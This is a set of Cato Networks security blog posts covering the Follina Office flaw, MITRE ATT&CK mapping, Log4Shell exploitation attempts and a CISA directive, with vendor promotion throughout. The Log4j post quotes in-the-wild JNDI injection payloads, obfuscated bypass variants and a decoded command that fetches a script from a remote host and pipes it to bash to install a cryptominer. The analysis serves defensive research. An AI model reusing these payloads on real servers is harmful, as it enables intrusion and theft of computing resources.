Cybersecurity researchers are lighting up Twitter with a zero-day flaw in Microsoft Office enabling attackers to execute arbitrary code on targeted Windows systems. Earlier today...
Cato Protects Against Microsoft Office Follina Exploits Cybersecurity researchers are lighting up Twitter with a zero-day flaw in Microsoft Office enabling attackers to execute arbitrary code on targeted Windows systems.
Earlier today Microsoft issued CVE-2022-30190 that describes the remote code execution (RCE) vulnerability within Office. It can be exploited when the Microsoft Support Diagnostic Tool (MSDT) is called using by a URL from a calling application such as Word.
An attacker who successfully exploits this vulnerability can run arbitrary code with the privileges of the calling application. The attacker can then install programs, view, change, or delete data, or create new accounts in the context allowed by the user’s rights.
The vulnerability was discovered by nao_sec, the independent cybersecurity research team, who found a Word document ("05-2022-0438.doc") uploaded to VirusTotal from an IP address in Belarus. The Microsoft post explained how to create the payload and various work arounds.
Describing the vulnerability, nao_sec writes on Twitter, “It uses Word's external link to load the HTML and then uses the 'ms-msdt' scheme to execute PowerShell code." The Hackernews quotes security researcher Kevin Beaumont, saying that “the maldoc leverages Word's remote template feature to fetch an HTML file from a server, which then makes use of the "ms-msdt://" URI scheme to run the malicious payload.”
Beaumont has dubbed the flaw "Follina," because the malicious sample references 0438, which is the area code of Follina, a municipality in the Italian city of Treviso.
[boxlink link="https://www.catonetworks.com/cybersecurity-masterclass/?utm_source=blog&utm_medium=top_cta&utm_campaign=masterclass"] Join one of our Cyber Security Masterclasses | Go now [/boxlink]
Cato Immediately Protects Users Worldwide
Within hours of Microsoft’s reporting, Cato researchers were already working on implementing protections for Cato customers worldwide. Already, Cato’s multilayered security defense fully protected Cato-connected users. While no further action is needed, Cato customers are advised to patch any affected systems.
There are currently three ways attackers can exploit this attack:
Users can download a file or application containing the payload that will invoke the MSDT locally.
Users can download a file or application containing the payload that will get the invocation from the Internet (from the attacker’s sites)
User’s browser receives the payload in the response to direction from a malicious site, runs MSDT.
All three approaches are already blocked using the Cato Advanced Threat Prevention (ATP) capabilities. Cato’s anti-malware inspects and will block downloading of files or applications with the necessary payload to execute Follina. Cato IPS will detect and prevent any invocation from across the network or the Internet.
As we have witnessed with Log4j, vulnerabilities such as these can take organizations a very long time to patch. Log4j exploitations are still observed to this day, six months after its initial disclosure. With Cato, enterprises no longer see the delays from patching and are protected in record time.
Demonstration of Attack Exploiting CVE-2022-30190
As Indicators of Compromise (IoC) and reactive security continue to be the focus of many blue teams, the world is catching on to the fact...
February 13, 2022
6m read
Why Cato Uses MITRE ATT&CK (And Why You Should Too) As Indicators of Compromise (IoC) and reactive security continue to be the focus of many blue teams, the world is catching on to the fact that adversaries are getting smarter by the minute and IoCs are getting harder to find and less effective to monitor, giving adversaries the upper hand and letting them be one step ahead.
With the traditional IoC-based approach, the assumption is that whenever adversaries use some specific exploit it will generate some specific data. It could be an HTTP request, a domain name, a known malicious IP, and the like. By looking at information from sources such as application logs, network traffic, and HTTP requests enterprises can detect these IoCs and stop adversaries from compromising their networks.
In 2020 there were about 18,000 new CVEs reported and in 2021 there were about 20,000, as this trend continues the number of IoCs that are discovered becomes unmanageable and many of them can be modified in small ways to avoid detection. What’s more, as we will show in this blogpost, IoCs are not even the full security picture, representing a small portion of the attacks confronting enterprises. All of which suggests that security professionals need to expand their methods of detecting and stopping attacks.
[boxlink link="https://www.catonetworks.com/resources/ransomware-is-on-the-rise-catos-security-as-a-service-can-help?utm_source=blog&utm_medium=top_cta&utm_campaign=ransomware_ebook"] Ransomware is on the Rise – Cato’s Security as a Service can help [eBook] [/boxlink]
TTPs: The New Approach to Detecting Attacks
The security community has noticed this trend and has started shifting from IoC-based detection to understanding adversaries’ Tactics, Techniques, and Procedures (TTPs). Having identified TTPs, security vendors can then develop the necessary defenses to mitigate risk.
Many tools have been developed to help understand and map these TTPs, one such tool is MITRE’s ATT&CK Framework.
ATT&CK is a collaborative effort involving many security vendors and researchers. The project aims to map adversary TTPs to help create a common language for both red and blue teams.
ATT&CK contains a few different matrices, each with its own sector. In the enterprise matrix, which is focus of our work, there are 14 “tactics.” A “tactic” is a general goal that the adversary is trying to accomplish, under each tactic there are several “techniques.” A “technique” is the means the adversary uses to accomplish his tactic, it is a more technical categorization of what the adversary may do to implement his tactic. Each technique can appear under multiple tactics and can be further divided into sub-techniques. Some tactics can be seen across the network with Reconnaissance, Initial Access, Execution, and Exfiltration associated with the network’s perimeter.
To better understand the value of ATT&CK, look at “The Pyramid of Pain,” which shows the relationship between the types of indicators you might use to detect an adversary's activities and how hard it will be for them to change them once caught. TTPs being the hardest to change thus causing more pain to the adversary if detected.
[caption id="attachment_22591" align="alignnone" width="2080"] This diagram shows us in a simple manner why aiming to identify TTPs can be more beneficial and improve defenses against adversaries rather than those focusing on IoCs.[/caption]
As enterprises shift from reactive and IoC-based security, which heavily relies on processing IoCs from threat intelligence feeds, to TTP-based security, which requires a proactive approach based on research, enterprise security becomes more challenging. At the same time, TTP-based security brings numerous benefits. These include better visibility into one’s security posture, better understanding of security risks, and an improved understanding of how to expand security capabilities to better defend against real adversaries.
Cato Implements MITRE ATT&CK
Cato has implemented the MITRE ATT&CK methodology of identifying and protecting against TTPs on top of the traditional IoCs. We incorporated this ability into our product by implementing a tagging system that tags each security event with the relevant ATT&CK tactics, techniques, and sub-techniques. This allows customers to visualize and understand what threats they face and what attack flows they are vulnerable to, further enabling them to understand where to improve their insight, and what TTPs their adversaries are using.
[caption id="attachment_22593" align="alignnone" width="1358"] A view of an event that is mapped to ATT&CK in the Cato Cloud[/caption]
So, what did implementing a TTP-based approach reveal to us?
As we dove into the details of our signatures, we saw that we could divide them into two main approaches:
IoC-based - Covering a specific vulnerability using well-defined IoCs.
TTP-based - Covering a behavior of an adversary.
We started by looking at our products’ coverage over the entire ATT&CK matrix and trying to understand where we are most vigilant and where we are less so. Our scope was the most common threats we cover (in our customers’ networks), and new threats we covered from the last year.
After going through this process and creating a visualization of our threat protection with the ATT&CK Navigator, we found that Cato Cloud provides protection across all stages of the attack flow with particular strengths in the Initial Access and Execution stages.
[caption id="attachment_22595" align="alignnone" width="2708"] Cato’s protection capabilities mapped onto the ATT&CK matrix. The darker the color, the more vulnerabilities Cato protects against in that technique. (For simplicity, sub-techniques are not shown.)[/caption]
We should not be satisfied with this data alone, while signature numbers and mappings are an insightful metric, the real insights should be derived from events in the field. So, we then examined Cato’s defenses based on the actual events of exploitation attempts in each ATT&CK technique. Our sampling looked at a two-week period spanning some 1,000 networks.
[caption id="attachment_22597" align="alignnone" width="2928"] Cato’s security events mapped onto the ATT&CK Matrix. Again, the darker the color the more events found to be using that technique in the last two weeks. Sub-techniques are not shown to keep it simple.[/caption]
From this mapping, we can see two things.
Most events are from scanning techniques, this is expected as a single scan can hit many clients with many protocols and generate many events.
We see events from many different techniques and tactics, which means that covering more than just the perimeter of the network does increase security as adversaries can appear in any stage of the attack flow and should never be assumed to exist only in the perimeter.
Putting aside scans, we found that TTP-based signatures identified far more security events than the IoC-based signatures did. Below is a table mapping the percentage of events identified by TTP-based (ATT&CK) and IoC-based approaches over our sampling period. Looking at the table, three techniques represent 87% of all events in the last two weeks. Counting the signatures, we saw that on average 78% of all signatures were IoC-based and only 22% were TTP-based.
[caption id="attachment_22635" align="alignnone" width="632"] Top 3 techniques based on number of events, excluding scans.[/caption]
But when we looked at the number of total events, we noticed that on average 94% are TTP-based and only 6% are IoC-based, this affirms our TTP-based approach’s effectiveness in focusing on those areas of actual importance to organizations.
TTP: Lets You Focus on Quality Not Chase Quantity
Focusing on TTP-based signatures provides a wide angle of protection against unknown threats, and the potential to block 0-days out of the box. On top of 0-days, these signatures cover past threats just as well, giving us a much greater ratio of threats covered per signature.
The IoC-based approach is less valuable, identifying fewer threats confronting today’s enterprises. TTP-based signatures prove to save production time by having a better protection for less effort and giving us more confidence in our coverage of the ATT&CK Matrix.
What’s more, when covering IoC-based signatures, the focus is on the number of signatures, which does not necessarily result in better security and might even lead to a false sense of one. The bottom line is that one good TTP-based signature can replace 100 IoC-based ones, allowing enterprises to focus on quality of protection without having to chase quantity of threats.
On December 9, a critical zero-day vulnerability was discovered in Apache Log4j, a very common Java logging tool. Exploiting this vulnerability allows attackers to take...
December 13, 2021
5m read
Log4J – A Look into Threat Actors Exploitation Attempts On December 9, a critical zero-day vulnerability was discovered in Apache Log4j, a very common Java logging tool. Exploiting this vulnerability allows attackers to take control over the affected servers, and this prompted a CVSS (Common Vulnerability Scoring System) severity level of 10.
LogJam, also known as Log4Shell, is particularly dangerous because of its simplicity – forcing the application to write just one simple string allows attackers to upload their own malicious code to the application. To make things worse, working PoCs (Proof of Concept) are already available on the internet, making even inexperienced attackers a serious threat.
Another reason this vulnerability is getting so much attention is the mass adoption of Log4j by many enterprises. Amazon, Steam, Twitter, Cisco, Tesla, and many others all make use of this library, which means different threat actors have a very wide range of targets from which to choose. As the old saying goes – not every system is vulnerable, not every vulnerability is exploitable and not every exploit is usable, but when all of these align
Quick Mitigation
At Cato, we were able to push mitigation in no-time, as well as have it deploy across our network, requiring no action whatsoever from customers with IPS enabled. The deployment was announced in our Knowledge Base together with technical details for customers.
Moreover, we were able to set our detections based on traffic samples from the wild, thus minimizing the false positive rate from the very first signature deployment, and maximizing the protection span for different obfuscations and bypass techniques.
Here are a couple of interesting exploit attempts we saw in the wild. These attempts are a good representation of an attack’s lifecycle and adoption by various threat actors, once such a vulnerability goes public.
[boxlink link="https://www.catonetworks.com/resources/ransomware-is-on-the-rise-catos-security-as-a-service-can-help?utm_source=blog&utm_medium=top_cta&utm_campaign=ransomware_ebook"] Ransomware is on the rise | Download eBook [/boxlink]
Exploit Trends and Anecdotes
We found exploit attempts using the normal attack payload:
${jndi:ldap://<MALICIOUS DOMAIN>/Exploit}
We identified some interesting variations and trends:
Adopted by Scanners
Interestingly, we stumbled across scenarios of a single IP trying to send the malicious payload over a large variety of HTTP headers in a sequence of attempts:
Access-Control-Request-Method: ${jndi:ldap://<REDACTED_IP>:42468/a}
Access-Control-Request-Headers: ${jndi:ldap://<REDACTED_IP>:42468/a}
Warning: ${jndi:ldap://<REDACTED_IP>:42468/a}
Authorization: ${jndi:ldap://<REDACTED_IP>:42468/a}
TE: ${jndi:ldap://<REDACTED_IP>:42468/a}
Accept-Charset: ${jndi:ldap://<REDACTED_IP>:42468/a}
Accept-Datetime: ${jndi:ldap://<REDACTED_IP>:42468/a}
Date: ${jndi:ldap://<REDACTED_IP>:42468/a}
Expect: ${jndi:ldap://<REDACTED_IP>:42468/a}
Forwarded: ${jndi:ldap://<REDACTED_IP>:42468/a}
From: ${jndi:ldap://<REDACTED_IP>:34467/a}
X-Api-Version: ${jndi:ldap://<REDACTED_IP>:42468/a}
Max-Forwards: ${jndi:ldap://<REDACTED_IP>:34467/a}
Such behavior might be attributed to Qualys vulnerability scanner, which claimed to add a number of tests that attempt sending the Log4j vulnerability payloads across different HTTP headers. While it’s exciting to see the quick adoption of pentesting and scanning tools for this new vulnerability, one can’t help but wonder what would happen if these tools were used by malicious actors.
Sinkholes Created
nspecting attack traffic allowed us to find sinkhole addresses used for checking vulnerable devices. Sinkholes are internet-facing servers that collect traffic sent to them when a vulnerability PoC is found to be successful.
A bunch of HTTP requests with headers such as the ones below indicate the use of a sinkhole:
User-Agent: ${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent
User-Agent: ${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}
We can tell that the sinkhole address matches the protocol and header on which the exploit attempt succeeds.
This header seen in the wild:
X-Api-Version: ${jndi:ldap://<REDACTED>.burpcollaborator.net/a
This is an example of using the burpcollaborator platform for sinkholing successful PoCs. In this case, the header used was an uncommon one, trying to bypass security products that might have overlooked it.
Among many sinkholes, we also noticed <string>.bingsearchlib.com, as mentioned here too.
Bypass Techniques
Bypass techniques are described in a couple of different GitHub projects ([1], [2]). These bypass techniques mostly leverage syntactic flexibility to alter the payload to one that won’t trigger signatures that capture the traditional PoC example only. Some others alter the target scheme from the well-known ldap:// to rmi://, dns:// and ldaps://
A funny one we found in the wild is:
GET /?x=${jndi:ldap://1.${hostName}.<REDACTED>.interactsh.com/a}
Host: <REDACTED_IP>:8080
User-Agent: ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://2.${hostName}.<REDACTED>.interactsh.com}
Connection: close
Referer: ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://3.${hostName}.<REDACTED>.interactsh.com}
Accept-Encoding: gzip
In this request, the attacker attempted three different attack methods: the regular one (in green), as well as two obfuscated ones (in purple and orange).
Seems like they’ve assumed a target that would modify the request, replacing the malicious part of the payload with a sanitized version. However, they missed the fact that many modern security vendors would drop this request altogether, leaving them exposed to being signed and blocked by their “weakest link of obfuscation.”
Real Attacks – Cryptomining on the Back of Exploitation Victims
While many of the techniques described above were used by pentesting tools and scanners to show a security risk, we also found true malicious actors attempting to leverage CVE-2021-44228 to drop malicious code on vulnerable servers. The attacks look like this:
Authorization: ff=${jndi:ldap://<REDACTED_IP>:1389/Basic/Command/Base64/KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA==}
Base64-decoding the payload above reveals the attacker’s intentions:
…
(wget -O – http[:]//<REDACTED_IP>:8005/acc||curl -o – http[:]//<REDACTED_IP>:8005/acc)|/bin/bash
Downloading the file named acc leads to a bash code that downloads and runs XMrig cryptominer. Furthermore, before doing so it closes all existing instances of the miner and shuts them off if their CPU usage is too high to keep under the radar. Needless to say, the mined crypto coins make their way to the attacker’s wallet.
The SANS Honeypot Data API provides access to similar findings and variations of true attacks that target their honeypots.
The Apache Log4j vulnerability poses a great risk to enterprises that fail to mitigate it on time. As we described, the vulnerability was promptly used not only by legitimate scanners and pentesting tools, but by novice and advanced attackers, as well. Cato customers were well taken care of. We made sure the risk was promptly mitigated and notified our customers that their networks are safe. Read all about it in our blog post: Cato Networks Rapid Response to The Apache Log4J Remote Code Execution Vulnerability. So until the next time....
We just made an announcement today that’s a textbook example of the power of our IPS. All mobile users, offices, and cloud resources anywhere in...
November 17, 2021
5m read
How Cato Was Able to Meet the CISA Directive So Quickly We just made an announcement today that’s a textbook example of the power of our IPS. All mobile users, offices, and cloud resources anywhere in the world on the Cato SASE Cloud are now protected against network-based threats exploiting the exposures the Cybersecurity and Infrastructure Security Agency (CISA) identified two weeks ago. Actually, the time to implement those protections in the field was closer to 10 days.
For someone in security research that’s an amazing accomplishment. It’s not just that we developed signatures to record time. Alone that would be significant. It’s that we were able to get those signatures implemented in production across all of our customers and without their intervention so quickly. Let me explain.
THE CISA DIRECTIVE
Two weeks ago, the CISA issued a Binding Operational Directive (BOD) forcing federal agencies to remediate known and exploited vulnerabilities within CISA’s given timeline. Some 300 previously exploited vulnerabilities were identified, 113 of which had to be addressed by today. Their guidance is to remediate these vulnerabilities on their information systems, mainly by patching the announced vulnerable products to their latest versions.
While none of the vulnerabilities were found in the Cato SASE Cloud, we wanted to protect our customer against any relevant network-based threats. Upon arrival of CISA’s announcement through one of our many threat intelligence feeds, we triaged the IOCs to identify those vulnerabilities that fell within scope of our IPS, finding public or hidden information to get a correct reproduction of the exploit.
Some of the vulnerabilities announced by CISA were ones that didn’t have any public exploit. In such a case, reproducing the exploit is unfeasible and the vendor of the vulnerable product is responsible for releasing a patch and/or providing workarounds. The only exception for this case is Microsoft vulnerabilities, which we can handle thanks to our collaboration with Microsoft as part of the Microsoft Active Protection Plan (MAPP). As members of MAPP Microsoft share with us detailed information to allow mitigation of vulnerabilities found in their products.
Many of the vulnerabilities had already been triaged and mitigated last year. Out of the 113 CVEs (Common Vulnerabilities and Exposures) that CISA asked to be patched by November 17th, we identified 36 vulnerabilities that were within scope. (We’re currently in the process of handling the rest of the vulnerabilities in the catalog, which CISA asked to be patched by May 2022.)
[boxlink link="https://www.catonetworks.com/resources/sase-vs-sd-wan-whats-beyond-security?utm_source=blog&utm_medium=top_cta&utm_campaign=ransomware_ebook"] SASE vs SD-WAN
| What’s Beyond Security [/boxlink]
THE IPS PROBLEM
Normally, getting 36 signatures developed and deployed in the field would take weeks. Oh, yes, often legacy security vendors are proud of the speed by which they develop IPS signatures. What they ignore is the time IT then needs to take to implement those signatures.
Every signature must be first assessed for their relevance and performance impact on the IPS. Then they need to run the IPS on live traffic in detect mode only, checking to see what false positives are generated and identifying any end user disruption. Only afterwards can IT deploy an IPS signature in full production. Often, though, the headaches cause many to leave legacy IPS in detect mode and ignore its alerts, wasting their IPS resource.
But with Cato Managed IPS-as-a-Service, none of that is an issue. Our IPS runs as part of Cato’s global cloud-native platform. The cloud’s ubiquitous resources eliminate legacy IPS performance issues.
Cato’s advanced behavioral signatures are also vastly different than legacy IPS signatures. Our signatures are context-aware, synthesizing indicators across multiple network and security domains normally unavailable to a legacy IPS. We can do this because as a global SASE platform, we’ve built a simply massive data lake from the metadata of every flow crossing the Cato global private backbone. For security researchers, like myself, this sort of data is like gold, letting us develop incredibly precise signatures that are more accurate (reducing false positives) and more effective (reducing false negatives).
For each CVE, Cato validates the IPS signature against real-traffic data from our data lake. This unique data resource allows Cato to run through “what if” scenarios to ensure their efficacy. Only then do we push them to the production network in silent mode, monitor the results, and eventually switch them to global block-mode.
What About Those Out of Scope?
Cato protects organizations against network-based threats but even endpoint attacks often have a network-based component. Cato’s IPS inspects inbound, outbound, and WAN-bound network traffic. This means that endpoint vulnerabilities are out of scope. Nevertheless, we do have mitigation mechanisms that would block potential exploitation of such CVEs further down the attack kill chain, such as Next Generation Anti-Malware (for blocking of malware dropping), reputation feeds (for blocking of malicious IPs/domains, CNC communication, and other IoCs) and more.
What Else Should Cato Customers Do?
If you have the Cato IPS enabled, you are protected from these vulnerabilities with no manual configuration changes required on your part. However, to ensure complete protection from vulnerabilities out of Cato’s scope, we advise following vendor advisories to mitigate and update your systems and patch them to the latest version.
